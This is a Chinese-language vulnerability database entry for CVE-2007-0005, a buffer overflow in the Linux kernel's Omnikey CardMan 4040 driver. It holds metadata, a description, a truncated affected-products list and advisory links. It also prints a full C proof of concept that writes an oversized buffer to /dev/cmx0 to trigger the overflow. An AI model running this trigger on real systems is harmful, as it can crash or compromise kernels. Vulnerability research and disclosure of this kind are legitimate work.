Linux Kernel Omnikey CardMan 4040驱动本地溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112401 漏洞类型 缓冲区溢出
发布时间 2007-03-09 更新时间 2007-07-23
CVE编号 CVE-2007-0005 CNNVD-ID CNNVD-200703-292
漏洞平台 Linux CVSS评分 6.9
|漏洞来源
https://www.exploit-db.com/exploits/3441
https://www.securityfocus.com/bid/22870
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-292
|漏洞详情
Linuxkernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。NFSv4implementation是其中的一个分布式文件系统协议。LinuxKernel的OmnikeyCardMan4040驱动中read()和write()函数存在缓冲区溢出,本地攻击者可能利用此漏洞控制服务器。如果本地攻击者以大于512字节的缓冲区调用了上述函数的话,就可以触发这个溢出,导致拒绝服务或以内核权限执行任意指令。
|漏洞EXP
/*
 * Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
 * Copyright (C) Daniel Roethlisberger <daniel.roethlisberger@csnc.ch>
 * Compass Security Network Computing AG, Rapperswil, Switzerland.
 * All rights reserved.
 * http://www.csnc.ch/
 */

#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<errno.h>

int main(int argc, char *argv[]) {
   int fd, i, n;
   char buf[8192];

   /*
    * 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  ...
    * 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
    */
   for (i = 0; i < sizeof(buf); i += 2) {
       buf[i]   = (char)(((i/2) & 0xFF00) >> 8);
       buf[i+1] = (char) ((i/2) & 0x00FF);
   }

   if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
       printf("Error: open() => %s\n", strerror(errno));
       exit(errno);
   }
   if ((n = write(fd, buf, sizeof(buf))) < 0) {
       printf("Error: write() => %s\n", strerror(errno));
       exit(errno);
   }
   printf("%d of %d bytes written\n", n, sizeof(buf));
   exit(0);
}

// milw0rm.com [2007-03-09]
|受影响的产品
Ubuntu Ubuntu Linux 6.10 sparc Ubuntu Ubuntu Linux 6.10 powerpc Ubuntu Ubuntu Linux 6.10 i386 Ubuntu Ubuntu Linux 6.10 amd64 Ubuntu Ubuntu Linux 6.06 LTS sparc Ubuntu Ubu
|参考资料

来源:kernel.org
链接:http://kernel.org/pub/linux/kernel/v2.6/testing/ChangeLog-2.6.21-rc3
来源:XF
名称:kernel-cardman4040drivers-bo(32880)
链接:http://xforce.iss.net/xforce/xfdb/32880
来源:BID
名称:22870
链接:http://www.securityfocus.com/bid/22870
来源:BUGTRAQ
名称:20070309BufferOverflowinLinuxDriversforOmnikeyCardMan4040(CVE-2007-0005)
链接:http://www.securityfocus.com/archive/1/archive/1/462300/100/0/threaded
来源:REDHAT
名称:RHSA-2007:0099
链接:http://www.redhat.com/support/errata/RHSA-2007-0099.html
来源:OSVDB
名称:33023
链接:http://www.osvdb.org/33023
来源:VUPEN
名称:ADV-2007-0872
链接:http://www.frsirt.com/english/advisories/2007/0872
来源:SECUNIA
名称:24518
链接:http://secunia.com/advisories/24518
来源:SECUNIA
名称:24436
链接:http://secunia.com/advisories/24436
来源:FEDORA
名称:FEDORA-2007-336
链接:http://fedoranews.org/cms/node/2788
来源:FEDORA
名称:FEDORA-2007-335
链接:http://fedoranews.org/cms/node/2787
来源:issues.rpath.com
链接:https://issues.rpath.com/browse/RPL-1035
来源:UBUNTU
名称:USN-489-1
链接:http://www.ubuntu.com/usn/usn-489-1
来源:UBUNTU